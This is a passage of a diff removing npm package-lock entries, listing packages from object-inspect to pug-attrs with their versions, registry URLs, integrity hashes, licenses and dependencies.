- "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", - "license": "MIT", - "engines": { - "node": ">= 6" - } - }, - "node_modules/object-inspect": { - "version": "1.13.4", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", - "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/object-keys": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", - "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/obliterator": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/obliterator/-/obliterator-2.0.5.tgz", - "integrity": "sha512-42CPE9AhahZRsMNslczq0ctAEtqk8Eka26QofnqC346BZdHDySk3LWka23LI7ULIw11NmltpiLagIq8gBozxTw==", - "license": "MIT" - }, - "node_modules/obug": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.1.tgz", - "integrity": "sha512-uTqF9MuPraAQ+IsnPf366RG4cP9RtUi7MLO1N3KEc+wb0a6yKpeL0lmk2IB1jY5KHPAlTc6T/JRdC/YqxHNwkQ==", - "dev": true, - "funding": [ - "https://github.com/sponsors/sxzz", - "https://opencollective.com/debug" - ], - "license": "MIT" - }, - "node_modules/on-finished": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", - "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", - "license": "MIT", - "dependencies": { - "ee-first": "1.1.1" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", - "license": "ISC", - "dependencies": { - "wrappy": "1" - } - }, - "node_modules/onetime": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", - "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", - "dev": true, - "license": "MIT", - "dependencies": { - "mimic-fn": "^2.1.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/open": { - "version": "10.2.0", - "resolved": "https://registry.npmjs.org/open/-/open-10.2.0.tgz", - "integrity": "sha512-YgBpdJHPyQ2UE5x+hlSXcnejzAvD0b22U2OuAP+8OnlJT+PjWPxtgmGqKKc+RgTM63U9gN0YzrYc71R2WT/hTA==", - "license": "MIT", - "dependencies": { - "default-browser": "^5.2.1", - "define-lazy-prop": "^3.0.0", - "is-inside-container": "^1.0.0", - "wsl-utils": "^0.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/openai": { - "version": "6.37.0", - "resolved": "https://registry.npmjs.org/openai/-/openai-6.37.0.tgz", - "integrity": "sha512-0H5dEGFmmLv6KSd0W1w2nyL8WsLkX6yoLeQpU+dZAOuGcany5qkYQMmj35ZrKgb6yiyYqpUzFOpR8mZQkgqeEQ==", - "license": "Apache-2.0", - "bin": { - "openai": "bin/cli" - }, - "peerDependencies": { - "ws": "^8.18.0", - "zod": "^3.25 || ^4.0" - }, - "peerDependenciesMeta": { - "ws": { - "optional": true - }, - "zod": { - "optional": true - } - } - }, - "node_modules/ora": { - "version": "5.4.1", - "resolved": "https://registry.npmjs.org/ora/-/ora-5.4.1.tgz", - "integrity": "sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "bl": "^4.1.0", - "chalk": "^4.1.0", - "cli-cursor": "^3.1.0", - "cli-spinners": "^2.5.0", - "is-interactive": "^1.0.0", - "is-unicode-supported": "^0.1.0", - "log-symbols": "^4.1.0", - "strip-ansi": "^6.0.0", - "wcwidth": "^1.0.1" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/ora/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/ora/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/ora/node_modules/is-unicode-supported": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", - "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/ora/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/p-retry": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", - "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", - "license": "MIT", - "dependencies": { - "@types/retry": "0.12.0", - "retry": "^0.13.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/pac-proxy-agent": { - "version": "9.0.1", - "resolved": "https://registry.npmjs.org/pac-proxy-agent/-/pac-proxy-agent-9.0.1.tgz", - "integrity": "sha512-3ZOSpLboOlpW4yp8Cuv21KlTULRqyJ5Uuad3wXpSKFrxdNgcHEyoa22GRaZ2UlgCVuR6z+5BiavtYVvbajL/Yw==", - "license": "MIT", - "dependencies": { - "agent-base": "9.0.0", - "debug": "^4.3.4", - "get-uri": "8.0.0", - "http-proxy-agent": "9.0.0", - "https-proxy-agent": "9.0.0", - "pac-resolver": "9.0.1", - "quickjs-wasi": "^2.2.0", - "socks-proxy-agent": "10.0.0" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/pac-proxy-agent/node_modules/agent-base": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-9.0.0.tgz", - "integrity": "sha512-TQf59BsZnytt8GdJKLPfUZ54g/iaUL2OWDSFCCvMOhsHduDQxO8xC4PNeyIkVcA5KwL2phPSv0douC0fgWzmnA==", - "license": "MIT", - "engines": { - "node": ">= 20" - } - }, - "node_modules/pac-proxy-agent/node_modules/https-proxy-agent": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-9.0.0.tgz", - "integrity": "sha512-/MVmHp58WkOypgFhCLk4fzpPcFQvTJ/e6LBI7irpIO2HfxUbpmYoHF+KzipzJpxxzJu7aJNWQ0xojJ/dzV2G5g==", - "license": "MIT", - "dependencies": { - "agent-base": "9.0.0", - "debug": "^4.3.4" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/pac-resolver": { - "version": "9.0.1", - "resolved": "https://registry.npmjs.org/pac-resolver/-/pac-resolver-9.0.1.tgz", - "integrity": "sha512-lJbS008tmkj08VhoM8Hzuv/VE5tK9MS0OIQ/7+s0lIF+BYhiQWFYzkSpML7lXs9iBu2jfmzBTLzhe9n6BX+dYw==", - "license": "MIT", - "dependencies": { - "degenerator": "7.0.1", - "netmask": "^2.0.2" - }, - "engines": { - "node": ">= 20" - }, - "peerDependencies": { - "quickjs-wasi": "^2.2.0" - } - }, - "node_modules/package-json-from-dist": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", - "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", - "license": "BlueOak-1.0.0" - }, - "node_modules/parse-entities": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.2.tgz", - "integrity": "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==", - "license": "MIT", - "dependencies": { - "@types/unist": "^2.0.0", - "character-entities-legacy": "^3.0.0", - "character-reference-invalid": "^2.0.0", - "decode-named-character-reference": "^1.0.0", - "is-alphanumerical": "^2.0.0", - "is-decimal": "^2.0.0", - "is-hexadecimal": "^2.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/parse-json": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-8.3.0.tgz", - "integrity": "sha512-ybiGyvspI+fAoRQbIPRddCcSTV9/LsJbf0e/S85VLowVGzRmokfneg2kwVW/KU5rOXrPSbF1qAKPMgNTqqROQQ==", - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.26.2", - "index-to-position": "^1.1.0", - "type-fest": "^4.39.1" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/parse-json/node_modules/type-fest": { - "version": "4.41.0", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", - "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", - "license": "(MIT OR CC0-1.0)", - "engines": { - "node": ">=16" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/parse-ms": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/parse-ms/-/parse-ms-4.0.0.tgz", - "integrity": "sha512-TXfryirbmq34y8QBwgqCVLi+8oA3oWx2eAnSn62ITyEhEYaWRlVZ2DvMM9eZbMs/RfxPu/PK/aBLyGj4IrqMHw==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/parseley": { - "version": "0.12.1", - "resolved": "https://registry.npmjs.org/parseley/-/parseley-0.12.1.tgz", - "integrity": "sha512-e6qHKe3a9HWr0oMRVDTRhKce+bRO8VGQR3NyVwcjwrbhMmFCX9KszEV35+rn4AdilFAq9VPxP/Fe1wC9Qjd2lw==", - "license": "MIT", - "dependencies": { - "leac": "^0.6.0", - "peberminta": "^0.9.0" - }, - "funding": { - "url": "https://ko-fi.com/killymxi" - } - }, - "node_modules/parseurl": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", - "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/path-expression-matcher": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.5.0.tgz", - "integrity": "sha512-cbrerZV+6rvdQrrD+iGMcZFEiiSrbv9Tfdkvnusy6y0x0GKBXREFg/Y65GhIfm0tnLntThhzCnfKwp1WRjeCyQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-parse": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", - "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", - "dev": true, - "license": "MIT" - }, - "node_modules/path-scurry": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.2.tgz", - "integrity": "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==", - "license": "BlueOak-1.0.0", - "dependencies": { - "lru-cache": "^11.0.0", - "minipass": "^7.1.2" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/path-to-regexp": { - "version": "8.4.2", - "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz", - "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/pathe": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", - "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", - "dev": true, - "license": "MIT" - }, - "node_modules/peberminta": { - "version": "0.9.0", - "resolved": "https://registry.npmjs.org/peberminta/-/peberminta-0.9.0.tgz", - "integrity": "sha512-XIxfHpEuSJbITd1H3EeQwpcZbTLHc+VVr8ANI9t5sit565tsI4/xK3KWTUFE2e6QiangUkh3B0jihzmGnNrRsQ==", - "license": "MIT", - "funding": { - "url": "https://ko-fi.com/killymxi" - } - }, - "node_modules/pend": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", - "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==", - "license": "MIT" - }, - "node_modules/picocolors": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - "license": "ISC" - }, - "node_modules/picomatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", - "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/pkce-challenge": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/pkce-challenge/-/pkce-challenge-5.0.1.tgz", - "integrity": "sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ==", - "license": "MIT", - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/playwright": { - "version": "1.59.1", - "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.59.1.tgz", - "integrity": "sha512-C8oWjPR3F81yljW9o5OxcWzfh6avkVwDD2VYdwIGqTkl+OGFISgypqzfu7dOe4QNLL2aqcWBmI3PMtLIK233lw==", - "license": "Apache-2.0", - "dependencies": { - "playwright-core": "1.59.1" - }, - "bin": { - "playwright": "cli.js" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "fsevents": "2.3.2" - } - }, - "node_modules/playwright-core": { - "version": "1.59.1", - "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.59.1.tgz", - "integrity": "sha512-HBV/RJg81z5BiiZ9yPzIiClYV/QMsDCKUyogwH9p3MCP6IYjUFu/MActgYAvK0oWyV9NlwM3GLBjADyWgydVyg==", - "license": "Apache-2.0", - "bin": { - "playwright-core": "cli.js" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/playwright/node_modules/fsevents": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", - "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/pluralize": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-8.0.0.tgz", - "integrity": "sha512-Nc3IT5yHzflTfbjgqWcCPpo7DaKy4FnpB0l/zCAW0Tc7jxAiuqSxHasntB3D7887LSrA93kDJ9IXovxJYxyLCA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss": { - "version": "8.5.14", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.14.tgz", - "integrity": "sha512-SoSL4+OSEtR99LHFZQiJLkT59C5B1amGO1NzTwj7TT1qCUgUO6hxOvzkOYxD+vMrXBM3XJIKzokoERdqQq/Zmg==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "nanoid": "^3.3.11", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/postcss-values-parser": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/postcss-values-parser/-/postcss-values-parser-6.0.2.tgz", - "integrity": "sha512-YLJpK0N1brcNJrs9WatuJFtHaV9q5aAOj+S4DI5S7jgHlRfm0PIbDCAFRYMQD5SHq7Fy6xsDhyutgS0QOAs0qw==", - "dev": true, - "license": "MPL-2.0", - "dependencies": { - "color-name": "^1.1.4", - "is-url-superb": "^4.0.0", - "quote-unquote": "^1.0.0" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "postcss": "^8.2.9" - } - }, - "node_modules/precinct": { - "version": "12.3.2", - "resolved": "https://registry.npmjs.org/precinct/-/precinct-12.3.2.tgz", - "integrity": "sha512-JbJevI1K80z8e/WIyDt/4vUN/4qcfBSKKqOjJA4mosPPPb7zODKRJQV7YN7apVWN3k58nZYm/vEsLgEGYmnxwg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@dependents/detective-less": "^5.0.3", - "commander": "^12.1.0", - "detective-amd": "^6.1.0", - "detective-cjs": "^6.1.1", - "detective-es6": "^5.0.2", - "detective-postcss": "^8.0.3", - "detective-sass": "^6.0.2", - "detective-scss": "^5.0.2", - "detective-stylus": "^5.0.1", - "detective-typescript": "^14.1.2", - "detective-vue2": "^2.3.0", - "module-definition": "^6.0.2", - "node-source-walk": "^7.0.2", - "postcss": "^8.5.14", - "typescript": "^5.9.3" - }, - "bin": { - "precinct": "bin/cli.js" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/precinct/node_modules/commander": { - "version": "12.1.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", - "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/precinct/node_modules/typescript": { - "version": "5.9.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - "dev": true, - "license": "Apache-2.0", - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/pretty-ms": { - "version": "9.3.0", - "resolved": "https://registry.npmjs.org/pretty-ms/-/pretty-ms-9.3.0.tgz", - "integrity": "sha512-gjVS5hOP+M3wMm5nmNOucbIrqudzs9v/57bWRHQWLYklXqoXKrVfYW2W9+glfGsqtPgpiz5WwyEEB+ksXIx3gQ==", - "license": "MIT", - "dependencies": { - "parse-ms": "^4.0.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/progress": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", - "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", - "license": "MIT", - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/promise": { - "version": "7.3.1", - "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", - "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", - "dev": true, - "license": "MIT", - "dependencies": { - "asap": "~2.0.3" - } - }, - "node_modules/proper-lockfile": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz", - "integrity": "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==", - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.4", - "retry": "^0.12.0", - "signal-exit": "^3.0.2" - } - }, - "node_modules/proper-lockfile/node_modules/retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", - "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/proto3-json-serializer": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/proto3-json-serializer/-/proto3-json-serializer-2.0.2.tgz", - "integrity": "sha512-SAzp/O4Yh02jGdRc+uIrGoe87dkN/XtwxfZ4ZyafJHymd79ozp5VG5nyZ7ygqPM5+cpLDjjGnYFUkngonyDPOQ==", - "license": "Apache-2.0", - "dependencies": { - "protobufjs": "^7.2.5" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/protobufjs": { - "version": "7.5.4", - "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.4.tgz", - "integrity": "sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg==", - "hasInstallScript": true, - "license": "BSD-3-Clause", - "dependencies": { - "@protobufjs/aspromise": "^1.1.2", - "@protobufjs/base64": "^1.1.2", - "@protobufjs/codegen": "^2.0.4", - "@protobufjs/eventemitter": "^1.1.0", - "@protobufjs/fetch": "^1.1.0", - "@protobufjs/float": "^1.0.2", - "@protobufjs/inquire": "^1.1.0", - "@protobufjs/path": "^1.1.2", - "@protobufjs/pool": "^1.1.0", - "@protobufjs/utf8": "^1.1.0", - "@types/node": ">=13.7.0", - "long": "^5.0.0" - }, - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/proxy-addr": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", - "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", - "license": "MIT", - "dependencies": { - "forwarded": "0.2.0", - "ipaddr.js": "1.9.1" - }, - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/proxy-agent": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/proxy-agent/-/proxy-agent-8.0.1.tgz", - "integrity": "sha512-kccqGBqHZXR8onQhY/ganJjoO8QIKKRiFBhPOzbTZK16attzSZ/0XSmp9H7jrRxPKHjhGyx1q32lMPrJ3uLFgA==", - "license": "MIT", - "dependencies": { - "agent-base": "9.0.0", - "debug": "^4.3.4", - "http-proxy-agent": "9.0.0", - "https-proxy-agent": "9.0.0", - "lru-cache": "^7.14.1", - "pac-proxy-agent": "9.0.1", - "proxy-from-env": "^2.0.0", - "socks-proxy-agent": "10.0.0" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/proxy-agent/node_modules/agent-base": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-9.0.0.tgz", - "integrity": "sha512-TQf59BsZnytt8GdJKLPfUZ54g/iaUL2OWDSFCCvMOhsHduDQxO8xC4PNeyIkVcA5KwL2phPSv0douC0fgWzmnA==", - "license": "MIT", - "engines": { - "node": ">= 20" - } - }, - "node_modules/proxy-agent/node_modules/https-proxy-agent": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-9.0.0.tgz", - "integrity": "sha512-/MVmHp58WkOypgFhCLk4fzpPcFQvTJ/e6LBI7irpIO2HfxUbpmYoHF+KzipzJpxxzJu7aJNWQ0xojJ/dzV2G5g==", - "license": "MIT", - "dependencies": { - "agent-base": "9.0.0", - "debug": "^4.3.4" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/proxy-agent/node_modules/lru-cache": { - "version": "7.18.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz", - "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/proxy-from-env": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", - "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/pug": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/pug/-/pug-3.0.4.tgz", - "integrity": "sha512-kFfq5mMzrS7+wrl5pLJzZEzemx34OQ0w4SARfhy/3yxTlhbstsudDwJzhf1hP02yHzbjoVMSXUj/Sz6RNfMyXg==", - "dev": true, - "license": "MIT", - "dependencies": { - "pug-code-gen": "^3.0.4", - "pug-filters": "^4.0.0", - "pug-lexer": "^5.0.1", - "pug-linker": "^4.0.0", - "pug-load": "^3.0.0", - "pug-parser": "^6.0.0", - "pug-runtime": "^3.0.1", - "pug-strip-comments": "^2.0.0" - } - }, - "node_modules/pug-attrs": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pug-attrs/-/pug-attrs-3.0.0.tgz", - "integrity": "sha512-azINV9dUtzPMFQktvTXciNAfAuVh/L/JCl0vtPCwvOA21uZrC08K/UnmrL+SXGEVc1FwzjW62+xw5S/uaLj6cA==", - "dev": true, - "license": "MIT", - "dependencies": { - 